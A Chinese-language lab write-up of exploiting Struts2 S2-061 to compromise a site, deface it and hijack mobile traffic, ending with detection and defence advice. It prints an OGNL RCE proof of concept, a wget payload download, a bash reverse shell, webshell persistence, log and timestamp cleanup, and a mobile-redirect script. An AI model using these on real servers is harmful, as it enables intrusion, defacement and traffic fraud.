从RCE漏洞Get Shell到网站篡改、定向劫持移动端流量实践分析
字数 1728 2025-08-11 08:36:22
从RCE漏洞Get Shell到网站篡改、定向劫持移动端流量实践分析
1. 概述
本文详细分析如何利用Struts2远程代码执行漏洞(S2-061)获取网站Shell权限,进而实施网站篡改和移动端流量劫持的全过程。这种攻击方式在黑灰产中常用于博彩、色情等非法内容的推广。
2. 漏洞分析
2.1 S2-061漏洞简介
- 漏洞名称: Struts2 S2-061 (CVE-2020-17530/CNVD-2020-69833)
- 漏洞原理:
- Struts2对某些标签属性(如id)进行二次表达式解析
- 当属性值用户可控时,可构造OGNL表达式实现RCE
- S2-061是对S2-059修复方案的bypass
2.2 漏洞POC
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap"])).
(#bean.setBean(#stack)).
(#context=#bean.get("context")).
(#bean.setBean(#context)).
(#macc=#bean.get("memberAccess")).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance("java.util.HashSet")).
(#bean.put("excludedClasses",#emptyset)).
(#bean.put("excludedPackageNames",#emptyset)).
(#arglist=#instancemanager.newInstance("java.util.ArrayList")).
(#arglist.add("id")).
(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).
(#execute.exec(#arglist))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
3. 环境搭建
3.1 靶场环境
- 使用Kali Linux部署Vulhub靶场
- 启动S2-061靶场环境
- 访问目标靶机8080端口
3.2 资源分发
- 使用Windows 10搭建DVWA靶场
- 调整安全级别
- 通过文件上传功能将DVWA作为脚本和木马的分发服务器
4. 攻击流程
4.1 Get Shell
-
捕获流量:
- 设置Burp Suite代理
- 访问目标站点的index.action页面
- 获取标准数据包
-
执行命令:
- 修改提交方式为POST
- 添加POC并重放数据包
- 执行wget命令下载脚本:
wget http://192.168.68.146/DVWA/DVWA-master/hackable/uploads/change.sh
-
反弹Shell:
- 准备反弹Shell命令:
bash -i >& /dev/tcp/192.168.68.134/7777 0>&1 - Base64编码后通过POC执行
- 使用NC监听端口获取交互式Shell
- 准备反弹Shell命令:
4.2 Shell驻留
使用冰蝎3进行Shell管理:
-
插入文件:
- 修改index.jsp文件,插入变形马
- 冰蝎可连接index.jsp和index.action
-
新增文件:
- 在相同目录下新增shell.jsp
- 修改struts.xml配置文件添加action属性
- 冰蝎可连接shell.jsp和shell.action
-
痕迹清理:
- 删除中间脚本文件
- 修改新增文件名
- 清理日志文件
- 完善文件时间戳
5. 网站篡改
5.1 显式篡改
- 在首页明显位置插入标记
- 直接修改可见内容
5.2 隐式篡改
-
资源分发:
- 将受害服务器作为恶意内容分发服务器
- 在特定目录下新建页面显示非法链接
-
示例:
- 将色情链接植入受害网站目录
- 减少搭建服务器成本
- 降低暴露风险
6. 流量劫持
6.1 实现方式
-
加载外部JS:
- JS存储在分发服务器或公网可访问地址
- 执行UA判断,劫持移动端流量
-
流量统计:
- 使用51la进行流量统计
- 将51la.js脚本加载到UA重定向外部JS
6.2 验证方法
-
使用Burp Suite代理浏览器:
- 默认UA访问目标站点
- 修改为移动端UA再次访问
- 观察是否跳转
-
修改重定向地址测试
7. 脚本分析
7.1 Downloader脚本(change.sh)
#!/bin/bash
wget http://192.168.68.146/DVWA/DVWA-master/hackable/uploads/jspforever.sh
source jspforever.sh
7.2 篡改脚本(jspforever.sh)
主要功能:
- 覆盖原文件制作变形马
- 加载外部JS
- 获取命令执行结果($?)
- 修改配置文件为新增木马提供执行环境
- 处理脚本执行报错信息(1>&2)
- 下载木马到指定目录
7.3 UA判断逻辑
// 全部转为小写
var userAgent = navigator.userAgent.toLowerCase();
// 常见移动端UA判断
if(userAgent.match(/iphone|ipod|android|windows phone|mobile/i)) {
// 重定向到目标地址
window.location = "http://目标地址";
}
// 流量统计
document.write('<script src="https://www.51.la/go.php?id=xxx"></script>');
8. 检测与防御
8.1 攻击检测
-
命令执行检测:
- 文件下载(curl/wget)
- 文件执行(bash/powershell/cmd/exec)
- 反弹Shell行为
-
下载分发检测:
- 情报碰撞分发服务器URL
- 关联篡改结果
-
恶意流量检测:
- Shell通信特征(base64/AES加密)
- 高误报率,需结合其他指标
8.2 受害拓线
-
测绘JS:
- 使用360quake测绘外部JS
- 搜索特征如"body: /static/data/configjs.js"
-
搜索引擎检索:
- 使用inurl/site/intext等关键词
- 如"inurl:index.jsp"+"博彩"
-
同源发现:
- 根据CMS信息进行同源发现
- 分析受害者共同特征
9. 防御建议
-
漏洞防护:
- 及时更新Struts2等框架
- 应用WAF防护规则
-
权限控制:
- 最小权限原则
- 限制服务器出站连接
-
文件监控:
- 监控关键目录文件变更
- 校验文件完整性
-
流量监控:
- 检测异常JS加载
- 监控非预期重定向
-
日志审计:
- 详细记录系统操作
- 定期分析异常行为